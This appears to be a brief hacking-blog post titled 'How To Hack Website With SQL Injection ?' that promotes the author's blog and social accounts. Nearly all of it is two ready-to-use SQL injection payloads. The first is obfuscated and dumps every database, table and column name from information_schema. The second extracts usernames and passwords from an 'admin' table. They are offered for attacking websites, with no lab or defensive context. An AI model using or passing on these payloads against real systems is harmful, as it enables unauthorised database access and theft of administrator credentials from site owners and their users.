Sql 2 orders only

[#]How To Hack Website With SQL Injection ?

- http://magico-sec.blogspot.com
- Contact: facebook.com/ElKiller.2013
- https://www.youtube.com/user/forbiden202/videos


[#]First Order :
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/*!12345(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)
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[#]Second Order :
(select(@) from (select (@:=0x00),(select (@) from (admin) where (@) in (@:=concat(@,0x0a,username,0x3a,password))))a)